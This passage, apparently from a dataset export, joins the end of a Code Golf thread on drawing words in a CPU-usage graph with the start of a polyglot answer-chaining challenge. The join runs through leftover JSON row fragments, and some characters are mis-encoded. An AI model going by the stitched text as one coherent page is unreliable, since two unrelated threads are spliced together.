fewer/more. It is *portable* to Linux/UNIX systems (though it has only been tested on OS X), and should produce the same two-color output for any CPU monitor that can distinguish User from System CPU time.\nEssentially, this works by forking off seven processes, each of which will choose to spend 1 second sleeping, spinning in usermode, or spinning the kernel. Spinning in kernel mode is achieved by requesting large globs of data from `/dev/urandom`, which forces the driver backing `/dev/urandom` to spend a lot of \"system\" CPU cycles.\nEDITED [07/21]: Shortened significantly by using `fork()` instead of `multiprocessing.Process` (`/dev/urandom` only works on \\*NIX systems anyway so this doesn't reduce portability). Note however that the program now spawns *background* tasks; you may have to `killall Python` (or similar) to get rid of the CPU-eaters.\n---\nI couldn't resist implementing a few more letters. I got 16 letters, plus a few symbols:\n![~/._PIN](https://i.stack.imgur.com/Io1Bv.png)\n![ANCHO...](https://i.stack.imgur.com/Otbxv.png)\n![...VY](https://i.stack.imgur.com/iBTBP.png)\nThe complete alphabet is \"ACDFHILMNOPTUVWY\", with symbols \".\\_~/\\\". There are probably lots more characters that can be represented.\nEntirely ungolfed code for the extra letters:\n```\nfrom time import*\nfrom multiprocessing import*\nchars6 = {\n'A': ('123456654321',\n '000123321000'),\n'C': ('344556666666',\n '321110000000'),\n'D': ('666666655443',\n '000000011123'),\n'F': ('66666666666666',\n '00002222244444'),\n'H': ('666664444466666',\n '000002222200000'),\n'I': ('66666',\n '00000'),\n'L': ('666662222222',\n '000000000000'),\n'M': ('6665544334455666',\n '0004321001234000'),\n'N': ('66665544336666',\n '00003322110000'),\n'O': ('3445556666555443',\n '3221110000111223'),\n'P': ('666666666555',\n '000003333444'),\n'T': ('777776666677777',\n '444440000044444'),\n'U': ('6666322236666',\n '4211000001124'),\n'V': ('66654322345666',\n '33321000012333'),\n'W': ('66542466424566',\n '43210133101234'),\n'Y': ('66665433456666',\n '44333000033344'),\n'_': ('1111111111',\n '0000000000'),\n' ': ('000',\n '000'),\n'.': ('12221',\n '10001'),\n'~': ('44445544334444',\n '11223322112233'),\n'/': ('2234566',\n '0012344'),\n'\\\\': ('6654322',\n '4432100'),\n}\ns = 'ANCHOVY '\nA = '000'.join(chars6[t][0] for t in s)\nB = '000'.join(chars6[t][1] for t in s)\nt=time()\nf=open('/dev/urandom')\ndef F(n):\n while 1:T=int(time()-t)%len(A);[sleep,[].count,lambda x:f.read(4**9)][(n\n#include \n#define M mach_absolute_time()\nmain(){char*s=\"JJJIHGFGHIJJJ@BDFHJJJHFDB@JJJJ@JJJJBBBBBBB\";uint64_t i,t,y=1;for(;*s;s++){\nfor(i=40;i;i--){for(t=M+(*s&15)*9090909;t>M;)y*=7;usleep((11-(*s&15))*9091);}}}\n```\nThis code is about as portable as the Great Pyramid of Cheops. Sorry about that. The values returned from `mach_absolute_time()` are hardware-dependent, but on my machine the value increments about once per nanosecond.\nHere's the result:\n![The word \"MAIL\" shown in my CPU history graph](https://i.stack.imgur.com/DmgRk.png)\nThere are two graphs because the processor has two cores. I set the maximum CPU load to about 90% because the process is liable to switch between cores whenever I call `usleep()`. With a 100% load, the process is chained to one core and the results are illegible ([see this, for example](https://i.stack.imgur.com/np8oR.png))\n[Answer]\n## Python, 143\n```\nfrom time import*\nwhile 1:\n sleep((ord('00012345654321000~~~D:6300036:D~~~000~~~000DDDD~~~~~'[int(time())%52])-48)*0.001);x=10**5\n while x:x-=1\n```\nEach character of the string corresponds to one second of activity, from the ASCII character `0` (max load) through to `~` (very light load). The program runs on a time-synchronised loop, so you can run multiple instances for nicer results.\nI used Python 2.7.6 on OS X with an Intel Core i7, but it should work on other computers with a bit of tweaking (adjust the `0.001`). The screenshot below was taken with significant background activity.\n![MAIL](https://i.stack.imgur.com/TDDug.png)\n**Update -** I was able to produce a clearer graph with `time()/10` and a lower update frequency:\n![MAIL](https://i.stack.imgur.com/RgNBp.png)\nAnd finally, here's a more golfed version (**123 bytes**) and [its result](https://i.stack.imgur.com/5rlkc.png):\n```\nfrom time import*\nwhile 1:\n sleep((ord('002464200~~A5005A~~00~~00DDD~~'[int(time()/2)%30])-48)*0.001);x=10**5\n while x:x-=1\n```\n[Answer]\n## Ruby, 150 characters\n```\na=(0..15).map{|i|[0.9-3*i*=0.02,i]}\n[9,*a[0,11],*(z=a.reverse)[5,11],11,*z,*a,2,11,6,*[0.2]*9].map{|x,y|c=Time.now\n1until Time.now-c>x/3\nsleep y||x%3}\n```\nThis isn't all that short so far, but in my opinion the output's rather nice, so I figured I'd post this anyway. As with most other solutions, you may have to pin the Ruby process to a certain core by prefixing it with `taskset -c $core`.\nThe code is a simple combination of spinning/sleeping for a certain amount of time, which *should* make it somewhat portable. Smooth gradients are created by varying the ratio of spin/sleep time.\n![MAIL written CPU monitor](https://i.stack.imgur.com/ONyA2.png)\nLowering the CPU sampling frequency makes the edges look a bit better:\n![Lower sampling frequency](https://i.stack.imgur.com/P2JVQ.png)\nBy adding a few more letters to the alphabet (`AILMNUVW` are somewhat recognizable), we can also write some other words:\n![MUM, MAW, VILLAIN](https://i.stack.imgur.com/i3bFw.png)\nThese pictures were generated with the following code:\n```\ndef gradient num_samples, direction, base = 0.3, increment = 0.02, scale = 1\n range = [*0..num_samples]\n samples = case direction\n when :up then range.reverse\n when :down then range\n when :updown then range.reverse + range\n when :downup then range + range.reverse\n end\n samples.map{|i|\n i *= increment\n [base - scale * i, i]\n }\nend\n# letters are defined as a series of pairs of (spin-time, sleep-time)\n# with the time in seconds\nTHIN_A = gradient(15, :updown, 0.2, 0.2/15)\nA = gradient(15, :updown)\nI = 2,0\nL = 1.5,0, [[0.1,0.2]]*9\nM = 2,0, gradient(9, :downup), 2,0\nN = 1,0, gradient(9, :down), 2,0\nU = 1,0, gradient(9, :downup, 0.1, 0.03, 0.1), 1,0\nV = 0.5,0, gradient(12, :downup, 0.25, 0.02), 0.5,0\nW = 0.5,0, [gradient(12, :downup, 0.25, 0.02)]*2, 0.5,0\n[A,I,L,M,N,U,V,W].map{|i|\n # add 2 second pause after each letter\n i + [0,2]\n}.flatten.each_slice(2){|x,y|\n # spin, then sleep\n c = Time.now\n 1 until Time.now-c > x\n sleep y\n}\n```\nWords that can be written with the implemented letters can be found with\n```\ngrep -E '^[aijlmnuvw]+$' /usr/share/dict/words \n```\n[Answer]\n## Python, on Intel Pentium 4 3.0Ghz, 180 166 145 141 138 bytes\nCall with `taskset -c 0 python cpu_graph_drawer.py`.\n`taskset` is needed to restrict the process to use only one CPU/core (hyperthreading in my case.)\n```\nfrom time import*;c=clock\na=[(3,.8),(3,5),(4,5),(1.3,5),(1.3,0)]\na.extend([(.1,.2)]*10)\nfor x,y in a:\n t=c()\n while c()-t{while(!Thread.interrupted());});\nThread.sleep(1500);\nexecutorService.shutdownNow();\n}}}\n```\n**Edit**: more golfed version (322 chars), same functionality:\n```\nimport java.util.concurrent.*;\nclass M{\npublic static void main(String[]a)throws Exception{\nfor(int c:\"123432234321000012343210000444000044441111111\".toCharArray()){\nExecutorService s=Executors.newFixedThreadPool(4);\nwhile(c>48){c--;s.execute(()->{while(!Thread.interrupted());});}\nThread.sleep(1500);\ns.shutdownNow();\n}}}\n```\n[Answer]\n# C, 78 bytes\nYou never said we couldn't accept user input, sooo..\n```\n#include \nint main(){int x=0;for(;x<1<<26;++x);read(0,&x,1);main();}\n```\nThis program reads from standard in and every time it reads a character it executes a gratuitous CPU wasting for loop, then calls main again. You control the amount of CPU time it uses by spamming the enter key at different speeds.\nI ran this on an intel i3 4130T, which is a reasonably new processor. But your mileage may vary, if it's using more or less CPU time than is practical for you to observe, try playing with the shift amount in the delay loop.\nMy program is awesome because it:\n* is mostly cross platform, it should work with very little fiddling on any \\*nix\n* defeats the question\n* great endgame play\nAfter a few tries I produced a graph that looked like this:![CPU graph](https://i.stack.imgur.com/iYHR3.png)\n]"}}},{"rowIdx":18,"cells":{"text":{"kind":"string","value":"[Question]\n [\nThis is an [answer-chaining](/questions/tagged/answer-chaining \"show questions tagged 'answer-chaining'\") challenge in which each answer builds on the previous answer. I recommend sorting the thread by \"oldest\" in order to be sure about the order in which the posts are made.\n> \n> **Note**: This has become quite a long-lasting challenge, and posting new answers is fairly difficult. As such, there's now a [chat room](http://chat.stackexchange.com/rooms/55553/polyglot-development) available for this challenge, in case you want advice on a particular part of a potential answer, have ideas for languages that could be added, or the like. Feel free to drop in if you have anything to ask or say!\n> \n> \n> \n# The task\nThe *n*th program to be submitted must run in *n* different languages; specifically, all the languages added in previous programs to be submitted, plus one more. The program must output 1 when run in the first language used in answers to this question, 2 when run in the second language, and so on. For example, the first answer could print 1 when run in Python 3, and the second answer could output 1 when run in Python 3 and 2 when run in JavaScript; in this case, the third answer would have to output 1 when run in Python 3, 2 when run in JavaScript, and 3 when run in some other language.\n# Additional rules\n* Your program must run without erroring out or crashing. Warnings (and other stderr output) are acceptable, but the program must exit normally (e.g. by running off the end of the program, or via a command such as `exit` that performs normal program termination).\n* The output must be only the integer, but trailing newlines are OK. Other unavoidable stdout output is also allowed. Examples: [interpreter name and version](https://tio.run/##S0oszvj/PzmxRMFOoUIvKY1LP7@gRD8pNa00Lz1VPykzD8QGy/z/r6SYklOUH66gk5@Tk@qhZGelrBPvAAA) in Befunge-93,\n[space after printed string](https://tio.run/##q0otyKgs@v@/oCgzr0TB0Nz0/38A) in Zephyr. Some languages provide two methods of printing ‚Äì with and without\ntrailing space; in this case method without trailing space must be used.\n* Each answer must be no more than 20% or 20 bytes (whichever is larger) longer than the previous answer. (This is to prevent the use of languages like Lenguage spamming up the thread, and to encourage at least a minor amount of golfing.)\n* Using different versions of the same language is allowed (although obviously they'll have to print different numbers, so you'll need to fit a version check into the polyglot). However, you may not use a language feature that returns the language's version number. Repeating the exact same language is, obviously, impossible (as the program would have to deterministically print one of two different numbers).\n* Tricks like excessive comment abuse, despite being banned in some polyglot competitions, are just fine here.\n* You don't have to use the previous answers as a guide to writing your own (you can rewrite the whole program if you like, as long as it complies with the spec); however, basing your answer mostly on a previous answer is allowed and probably the easiest way to make a solution.\n* You cannot submit two answers in a row. Let someone else post in between. This rule applies until victory condition is met.\n* As this challenge requires other competitors to post in the same languages you are, you can only use languages with a [free implementation](http://meta.codegolf.stackexchange.com/q/7822/62131) (much as though this were a [cops-and-robbers](/questions/tagged/cops-and-robbers \"show questions tagged 'cops-and-robbers'\") contest).\n* In the case where a language has more than one interpreter, you can pick any interpreter for any given language so long as all programs which are meant to run successfully in that language do so in that interpreter. (In other words, if a program works in more than one interpreter, future posts can pick either of those interpreters, rather than a post \"locking in\" a particular choice of interpreter for a language.)\n* If some interpreter gets updated and the program no longer works in the newer version then new answers can either stick to the old version or fix the program to work in the new version.\n* This challenge now uses the [new PPCG rules about language choice](https://codegolf.meta.stackexchange.com/questions/12877/lets-allow-newer-languages-versions-for-older-challenges?cb=1): you can use a language, or a language interpreter, even if it's newer than the question. However, you may not use a language/interpreter that's newer than the question if a) the language was designed for the purpose of polyglotting or b) the language was inspired by this question. (So newly designed practical programming languages are almost certainly going to be OK, as are unrelated esolangs, but things like [A Pear Tree](https://esolangs.org/wiki/A_Pear_Tree), which was inspired by this question, are banned.) Note that this doesn't change the validity of languages designed for polyglotting that are older than this question.\n* Note that the victory condition (see below) is designed so that breaking the chain (i.e. making it impossible for anyone else to answer after you via the use of a language that is hard to polyglot with further languages) will disqualify you from winning. The aim is to keep going as long as we can, and if you want to win, you'll have to respect that.\n# Answer format\nAs all the answers depend on each other, having a consistent answer format is going to be helpful. I recommend formatting your answer something like this (this is an example for the second link in the chain):\n> \n> # 2. JavaScript, 40 bytes\n> \n> \n> \n> ```\n> (program goes here)\n> \n> ```\n> \n> This program prints **1** in Python 3, and **2** in JavaScript.\n> \n> \n> (if you want to explain the program, the polyglotting techniques, etc., place them here)\n> \n> \n> \n# Victory condition\nOnce there have been no new answers for 14 days, the winner will be whoever posted the *second* newest answer, i.e. the largest polyglot that's been proven not to have broken the chain. Extending the chain after that is still very welcome, though!\nThe winner is [Chance](https://codegolf.stackexchange.com/users/63156), see [answer 194 (TemplAt)](https://codegolf.stackexchange.com/a/163497).\n# Language list\n```\n// This snippet is based on the snippet from hello world thread https://codegolf.stackexchange.com/questions/55422/hello-world\n// It was tested only in Google Chrome\n// https://stackoverflow.com/a/4673436\nif (!String.prototype.format) {\n String.prototype.format = function() {\n var args = arguments;\n return this.replace(/{(\\d+)}/g, (match, number) => (typeof args[number] != 'undefined' ? args[number] : match) );\n };\n}\nvar QUESTION_ID = 102370; // from the question url\nvar ANSWER_FILTER = \"!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe\";\nfunction answersUrl(index) {\n return \"https://api.stackexchange.com/2.2/questions/\" + QUESTION_ID + \"/answers?page=\" + index + \"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\" + ANSWER_FILTER;\n}\nvar answers = [], answer_page = 1;\nfunction getAnswers() {\n jQuery.ajax({\n url: answersUrl(answer_page++),\n method: \"get\",\n dataType: \"jsonp\",\n crossDomain: true,\n success: function (data) {\n answers.push.apply(answers, data.items);\n if (data.has_more) { $('#status').text($('#status').text() + '.'); getAnswers(); }\n else process();\n },\n // [Documentation](http://api.jquery.com/jquery.ajax/) states that `error` handler is not called for cross-domain JSONP requests, \n // but it works here, probably because api.stackexchange.com and codegolf.stackexchange.com are on the same domain.\n error: function (a,b,c) { \n $('#status').text( \"Failed to load answers: \" + b + \" \" + c );\n console.log( b + \" \" + c );\n },\n });\n}\ngetAnswers();\n// https://stackoverflow.com/questions/6290442/html-input-type-text-onchange-event-not-working/39834997#39834997\n// https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event\nconst input = document.querySelector('input');\ninput.addEventListener('input', onSearchInput);\nfunction onSearchInput(e)\n{\n var table = document.getElementsByTagName(\"table\")[0];\n var str = e.srcElement.value.toLowerCase();\n var num_results = 0;\n if(str == \"\") // optimization for empty input\n {\n // show all rows\n for(var i = 1, row; row = table.rows[i]; i++)\n {\n row.className = \"\";\n num_results++;\n }\n }\n else\n {\n for(var i = 1, row; row = table.rows[i]; i++)\n {\n var hidden = row.innerText.toLowerCase().indexOf(str) == -1;\n if(!hidden) num_results++;\n row.className = hidden ? \"hidden\" : \"\";\n }\n }\n document.getElementById(\"results\").innerText = \"Results: \" + num_results;\n}\n/* Function ParseHeader() extracts answer number, language name and size of polyglot from answer header.\n Argument: `header` - answer header string without markup, eg. \"1. Python 3 (8 bytes)\" or \"59. Tcl, 1324 bytes\".\n Retval: object, eg. {num: 1, language: \"Python 3\", size: 8} or \n null if header has wrong format\n \n There are two formats of header, new one with comma and old one with parens.\n Parsing new format only with regexp is hard because:\n - language name may contain commas, eg. \"51. Assembly (x64, Linux, AS), 1086 bytes\"\n - there may be several sizes, of which the last one should be used, eg. \"210. Haskell without MonomorphismRestriction, 10035 9977 bytes\"\n There are only several answers with old format header: 1-5, 7, 12-17, 21. All of them have single size and don't have parens in language name,\n so they can be parsed with simple regexp.\n \n Algorithm: Find commas. If there are no commas parse it as old format. Otherwise parse it as new format.\n New format parsing: Let everything after last comma be `sizes`. Check if `sizes` ends with the word \"bytes\". If not, set size to 0.\n Take the word before \"bytes\" and convert it to number. Parse the rest of the header (before last comma) with regexp.\n*/\nfunction ParseHeader(header)\n{\n var a = header.split(',');\n if(a.length > 1) // current format: Number \".\" Language \",\" Size+ \"bytes\"\n {\n // filter(s=>s) removes empty strings from array (handle multiple consecutive spaces)\n var sizes = a[a.length-1].split(\" \").filter(s=>s); // \" 123 100 bytes \" -> [\"123\", \"100\", \"bytes\"]\n var size;\n if(sizes.length < 2 || sizes[sizes.length-1] != \"bytes\") size = 0;\n else size = +sizes[sizes.length-2];\n a.splice(a.length-1,1); // remove last element\n var match = a.join(',').match(/(\\d*)\\.(.*)/);\n if (!match) return null;\n return{\n num: +match[1],\n language: match[2].trim(),\n size: size,\n };\n }\n else // old format: Number \".\" Language \"(\" Size \"bytes\" \")\"\n {\n var format = /(\\d*)\\.([^(]*)\\((\\d*)\\s*bytes\\)/;\n var match = header.match(format);\n if (!match) return null;\n return{\n num: +match[1],\n language: match[2].trim(),\n size: +match[3]\n };\n }\n}\n// 1533246057 (number of seconds since UTC 00:00 1 Jan 1970) -> \"Aug 2 '18\"\n// other useful Date functions: toUTCString, getUTCDate, getUTCMonth, getUTCFullYear\nfunction FormatDate(n)\n{\n var date = new Date(n*1000); // takes milliseconds\n var md = date.toLocaleDateString(\"en-US\", {timeZone:\"UTC\", day:\"numeric\", month:\"short\"});\n var y = date.toLocaleDateString(\"en-US\", {timeZone:\"UTC\", year:\"2-digit\"});\n return md + \" '\" + y;\n}\nvar processed = []; // processed answers, it's called `valid` in original snippet\nfunction ProcessAnswer(a)\n{\n var body = a.body, header;\n //\n // Extract header from answer body.\n // Try find

header (markdown #). If not found try find

(markdown ##).\n // Extracted header contains only text, all markup is stripped.\n // For 99 language markup is later readded to language name because markup is essential for it.\n //\n var el = document.createElement('html'); // dummy element used for finding header\n el.innerHTML = body;\n var headers = el.getElementsByTagName('h1');\n if(headers.length != 0) header = headers[0].innerText;\n else {\n headers = el.getElementsByTagName('h2');\n if(headers.length != 0) header = headers[0].innerText;\n else { console.log(body); return; } // error:

and

not found\n }\n var info = ParseHeader(header)\n if(!info) { console.log(body); return; } // error: unrecognised header format\n if(info.num == 99 && info.language == \"99\") info.language = \"99\";\n processed.push({\n num: info.num,\n language: info.language,\n size: info.size,\n answer_link: a.share_link,\n user: a.owner.display_name,\n user_link: a.owner.link, // `undefined` if user was deleted\n creation_date: a.creation_date, // unix epoch (number of seconds since UTC 00:00 1 Jan 1970)\n });\n}\nfunction process()\n{\n $('#status').remove();\n answers.forEach(ProcessAnswer); // answers -> processed\n \n processed.sort( (a,b)=>(a.num-b.num) ); // sort by answer number, ascending\n processed.forEach(function (a) {\n \n var date = FormatDate(a.creation_date);\n var user = a.user_link ? (''+a.user+'') : a.user; // redundant code, currently the only deleted user is ais523\n if(user == \"user62131\") user = 'ais523';\n var style = (a.num == 194) ? \"background: #ccf\" : \"\"; // 194 is winner answer\n var row = \"{1} {3} {4} {5} {6}\"\n .format(style, a.num, a.answer_link, a.language, a.size, user, date);\n $('#answers').append( row );\n });\n}\n```\n```\na {text-decoration:none}\na:visited {color:#00e}\ntable, td, th { border: 1px solid black; }\ntd, th { padding-left: 5px; padding-right: 5px; white-space: nowrap; }\ntr:hover { background-color: #ff9; }\ntd:first-child { text-align:center; } /* # */\ntd:nth-child(4) { font-style:italic; } /* author */\ntd:nth-child(5) { text-align:right; } /* date */\np { margin: 8px 0px }\n.hidden { display: none } /* search hides rows */\n```\n```\n\n

\n Search: &nbsp;\n

\n\n \n \n \n \n \n \n
# Language Size (bytes) Author Date
\n
Loading answers...
\n```\n \n[Answer]\n> \n> Note: If you see this first, you might want to [sort by oldest](https://codegolf.stackexchange.com/questions/102370/add-a-language-to-a-polyglot?answertab=createdasc)\n> \n> \n> \n## 17. Julia (128 bytes)\n```\n#v`16 \"<\" 6/b0\\ .q@#;n4\"14\"\"\n#>3N9@15o|R\"12\"*^\n#=|\nprint((1/2and 9 or 13)-(0and+4)^1<<65>>62);# =#;print(17)\n#gg99ddi2` |1|1+6\n```\nThere are two ESCs on the last line, one before the first `g` and one after the `2`. This could be golfed more, but things got messy no thanks to V and Pyth.\nPrints 1 in Python 3, 2 in V, 3 in Minkolang, 4 in ><>, 5 in Python 2, 6 in SMBF, 7 in Japt, 8 in Retina, 9 in Perl, 10 in Befunge-93, 11 in Befunge-98, 12 in Fission, 13 in Ruby, 14 in Turtléd, 15 in Haystack, 16 in Pyth and [**17 in Julia**](https://tio.run/#8hWKF).\n---\nHints:\n* The start of the fourth line is Python 2/3, Perl, Ruby. The end is Julia, thanks to `#=` multiline comments (note that Julia doesn't have `and/or`).\n* V is `gg99ddi2`, which is definitely golfable but V is annoying to test on *Try it online!* since the interpreter is fairly slow.\n* Minkolang and Haystack go down at the first `v`. Befunge-93 and -98 don't, and depend on a `b`.\n* Retina counts the number of spaces and 1s in the fourth line, and V hides in the config for Retina (i.e. before the backtick).\n* Per @ETHproduction's hint, Japt uses backticks to hide the majority of the code in a string.\n* Fission is `R\"12\"*`.\n* SMBF has been golfed to `<.` in the first line, plus the final `6`.\n[Answer]\n# 50. bash, 1024 bytes\n```\n#16 \"(}23!@)\" 3//v\\D(@;'[af2.qc]GkGGZ'#)\"14\";n4\n#/*` \"[!PPP(22)SP(>7 7*,;68*,@;'1,@ ␉␉␉␉ q\n#>␉\n# >36!@␉\n#`<`\n#<]+<[.>-]>[\n#{\n#z}\n#\n#=+++++++L+++<-][pPLEASE,2<-#2DO,2SUB#1<-#52PLEASE,2SUB#2<-#32DOREADOUT,2DOGIVEUPDOiiipsddsdoh@O6O4/]>+.-- -. >][\n#Rx%>~~~+ +~*ttt*.x\n#D>xU/-<+++L\n#R+.----\\).>]|\n#[#[/v/v(/0l0v01k1kx0l0ix0jor0h0h1d111x0eU0bx0b0o1d0b0e0e00m1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10vx0v0l111111^_) 0046(8+9+9+9+9+=!)\n###|\n'\\';echo 50;exit;';print((eval(\"1\\x2f2\")and(9)or(13))-(0and 4)^1<<(65)>>(62))or\"'x\"or'({({1})({1}[(0)])}{1}\\{1})'#}#(prin 45)(bye)|/=1/24=x<$+@+-@@@@=>+<@@@=>++.--./\n__DATA__=1#\"'x\"//\n#.\\.\"12\"__*'\n###;console.log 39\n\"\"\"\"#//\n=begin //\n#ssseemeePaeueewuuweeeeeeeeeeCisajjapppp/*/\n#define z sizeof'c'-1?\"38\":\"37\"\n#include\nmain( )/*/\n#()`#`\\'*/{puts(z );}/*'``\n<>{# }//\n#}\ndisp 49#//\n#{\n1}<>//\n$'main'//\n#-3o4o#$$$\n#< >\"3\"O.\n=end #//\n\"\"\"#\"#//\n#}\n#|o51~nJ;#:p'34'\\\n#ss8␛dggi2␛ `|1|6$//''25 =#print(17)#>27.say#]#print(47)#]#echo 21#ss*///nd^_^_Z222999\"26\n```\nWant to learn more? Try the [polygot chat](http://chat.stackexchange.com/rooms/55553/polyglot-development)!\n[Try them online!](https://tio.run/nexus/bash#zVpJc9tIlj43/kJd0iDLBEgCIKnFCwlasi3XqDZrLNkVYZKWQDBJwsJWWCRKMhVznYk59L0vc@z/0df5Ff1Har6XCS7aXFWHjhg6CCYyX749X7735N9K9GEHkX8x8aOMZTzN2CjxznhispcXbMfx0q3WhqIIqCQa5a4XTlg25cwL4zxjY8/nqeI6GeuyuMBi0oCVWMKdkQRTxlHCaAsLTn3mMTeO2dB3pqbLfE/AplFA6xlP4oTjmbKQ8xFLY@56Y88VdBifZTxMvShMTea5p@zc83024j42rIi7dSBjebo2JUmZyihSGD5ufIvV5VuZAybkC3F57CRC3IjFQvaF1OeJE8dgUimxQzCeeQFPmZdVUsad1CMdYkvKw5HQVLzUbsSccF1KduY5zAG/eSJwpzzJIJ4p8LIpTzhQOkR8kjgB084TL4MKSJG77IA7CTtKONdBBQbgqevE4OMGSRCLiEJGgpjCUJ1OZe/tmwoMJneYTpwppWTj6N@/Vxxm2qx83MbXVtW2svfza3ZV7tMYXAAZjBonmqMz@5qlVr/P8Z01h9YkmSvAqkArPrOiOLOA2UkysLcaGWctM/bXyLLOLUusOZGEGsEWbD9kH@pCLjdPEg4uVip1TiGyH4UTaBOiJnlI2gjZdgMGcKNwlNYZP4POolBaKDoX@j2aejBZSgZxhlCP45Lm5QEQ6sQRgOcV@lzQTSM/F3DYmWbkftAJthLG/TH7wMaO59MWrBMqyXXC09zPaE8ejsjugRfykckWbLjRiICC6AzkHCAVEzgzwdpJE0wBGGaIhKi09M@//m00mQDPrutGyahw1g9sFLl5AIYdwawDRyR3jULHF2wBrk7U5XYQOHN8b@RkRD68KEgIJgTV8yj3RywCweTcw8GaOmc4jOMxdzMuXTzKM/BYZ4FzKuODJ/0WggfOEIYVBARtIbbBdl7BSi6XDmMEeTZ@yox4j1VS65P24rn24lGfgzfd1Ktly5q04W1mVUzhrfI1x/mwu7Inec@RF9Ep8uNpjpiBlTCNEU0SUqbrQJyUgkqGmFdnQ6FoEYng6OKInvNKwtkQ53ohmPAR6QO036BzW2BY2XQBd9PF@GjNw@CdcLIsvRMk/OgchAVvFDjh0yERdyYOSGWFQLtSIElRzNwU7TSEpxO2IWdPjaEH65AfINQUxliTEeAbLQkDbNJ6a4cicC6AxZUhemVJ5o1h5AB@m1wwl9NhwKngMs4RkVw4RurBj6Ixaxitra3fMX6WWLvGR8sxLq2v2piEv2XmXTbm58x3wknuTODIUYgtjuvyOCtOECRJM5yR22FQTBpFTDfTqVLeuU1bxLYi2q/RoOgjrVdEaIfcHooKoGrDxylnTjIRJ5GNvATnxb@4TR0AZ7eIqycEcoOBE/UBFhYXE5yMz7ibZzhucOTzqedO4bvEXSgPrIyOt8ljap06Qo4xXpImZprdxy3FtJZTxMaDKAyy6F08iPqEqntjQhh/fUIKiJv3kG59hKrFNStOwTIVWMoOZXxPl0jCf82hXPieNwkJxAmXV/RaFPPSsIKw7qUeNESXLfnl0f5bit2/cJlvQEfy3lkPvBGyD2wvLlNaWChM4e40YkbIKgUPmiruvs9gy0oTVwyMtQtf1U1oSyOtiaUFos8yh7p9@bHuXThBslJnPVUd1HHf@CnMHea@j5c8FMdB4/oV/MLlaWrCuXEGTcocwJ1a4/r8JmA2TaJzxud6u3IfuT9pkFf50Jv9P7SIS3zJJ6RaM4OY@iN2uAP4LzbEHXowxX6IWwbx91JcByGFtzzIfSeTGYEb5dDz0hy4Ghy7IS14BB39iCyJ/ejR5TVGTrXKtUV6PqOssq@o8UU2jcKNm@FHXa20ZHr3wQpwG5nxxf0Xr7qOSmz4yQtPI@LNChaj44bZ3LqBAuXB3Z1jL52Kxw3QO2zdXRG702A4Fo97AEJyxVseLxaCKIwkcWjICx3rnfgxEWLv4@BmJLtB/iWHjSfceLZhDb3QGvLxQ5BvXr7cFzDj4dB7CAhqoAJo8XsPWJIP79MSEpjpnZuO3dDzUZ5kvjGyMvrl//sfI@j7rjWmzkWKlPd0OTgO@TlZxhg/aJxiK72Ix/2G/Jz7KId@B4frUJrr@MvB/bies3cc3o6EJBRVEDj1fRxkqAwB5q474yT4@Ygvfu9HKnR488KUu0MvMODL22ZDGBCvlARQKvYQllu3vkRD1UHiR87IkvWax1cWlbrnM2cShRfW2pViJsM/wOriYmarAi2b5lkun1SV/Z7tvJi@XzuCBWRja/dlc6/4eQAeTGw/5Lvy2CSILsYb3zm1hjQ8HmN4v6hSmMSboARc/D4E9sth7LjcOk/p5163@QnplI/C@vDn94cHX/UfgRB5VuLL573o9kMXl1qY/T4mSOmLx59xPOEHruPD@zak71FfxFhTk3dLsb4zvKBCfvrnfYioTmo1ZkSramXVdonjhze57v2bZGNG7HMj1JP8924dXB1eAHFbo7Xhgz7hRcaqJkqlI42pCLwn9jhnDjNc30nhGlmhXX4Ga4jH11yVbgiXfGY1@pqj3mJqUZc@VNqsdsaeG@H2joWZ6cXHy0OX2u3sYYWGGm7isdpKb4W/vubOiK7a6686bORmVFE84DJ3pkUG8k50ZpalUlovGkqY85KigZAue3Sl1SoLnUAUkDReJDdtWaWmU9GaQDU5Qqx9H3oiuXSjRNZasqAX99o//j4qOjYTjpI78FLkUZOQeowoqKbR@QtJt6C@G8cOdXwIB063L9NP49UuS8@9zJ3KRg3ytfdvjp4WVXbR78TLAQXZNS6k3Fgagwcn46IglNyMIi4VXRBe7loIBTvnQcjOvVE2RUp36KFwFlX8orIEJwmBoZyPyFB1ts9GnMKOyJ4/50j4/Cg6FUk7cfKPv8veAhaBDFxjvCAvml1rFBm8vCkKeldmlwsklzyJChCNlAxvzaGRC7gJl/M6c6eOaHokJjMWJT@RkWX/q91DZqDmp1YtdQDa3lgr77777kOvMbCvWWAhBbEofxZ6U781njRTtc4WIO05R8a9vtzA8mq1wtTyTC3Eorag6IItnUo6HNNoLMy1KOED0VEUfsfPRQkv@jQhHUZq1aFKSTO86gK1bO3ZZQ25S4CCxDjM2Bb1szlUgpHsQTLqEIOi2FKesS9sSr5iuKy51cCbVIhPHZDAXmWM60m69ZoPc3G1nbXM1oYtxCkf252uGCV8FFGPrPepfz6w0oVW@v3Zt43WDGqLEoA/tujk7P38@qpsdhtfvqTOBVPVeaUtahn1ucrKVwf7B3uHR7tH7w@hxrleKPCgaP6KRqZTNLbhy3m6OJmF/qgHLvoQoo9NmwXustwqse2T14kzsDjOoLBWy5jSGzXNqdV0fa0lvzdDWITTUmtUtDaVBWdR0bhbWBGHdCorVJStSz9Ml8UmiTCmU@TDEFRNiYwgJUswMrrJdv0UXj8awYzDi4zL4krWl8siUy2xsmMupagzVSHY1L7bwIGVz3ELuidyc1nACczpfT3QPrf@@de/yb5nP8P4P4vxGOP/luNPFmnpbqNM8rhUDanlw/4BSxFapOCBM1uTSVaO8O8wR4EdQINnQiEELpldybvCo/U@QJ8wApRJbkqeKejxZKBNsyx@blkUjCeRPzZFncBnsAMc20RqbP2aUxsah8na3trebCIN5cbZAqHomEwoaZUIdf05U5ly5sX2ydBlnU6HqSjMfW5vt6UirbLzaUM9WTJaBqwi43aPYQ@2rHZgrVts08pOranTVmbbrNKssEEbIVnaBadaEwOA6DQdFvpQETaiQlVU8/NZxuDNycXiPsJlgPoxID2JP0YsEBlAJHHrqnLHd8EvVkRm6t24K811M6i/EJjIY5@r97kOg4f8zz2eE2L8X3Lc6zeM68F9jfSl7@ze7Zdrt7vdJAvbOQwjKlbegFemtazWhtXc1tfOiVqgArd0Kr4AJc4BzpXLvc9RnO6@2tv//u3B4Z1@r4Cs3AarsEq3U@sbZr03WA4q9/j8MvU@ik7B8Vcan0ZGEN7legvUK3ZT37LVtUb8zKLejmJaixXcL1rnBse6bNKuib7gAf5bzJSbKoivCLrKnVJtnZtF7rw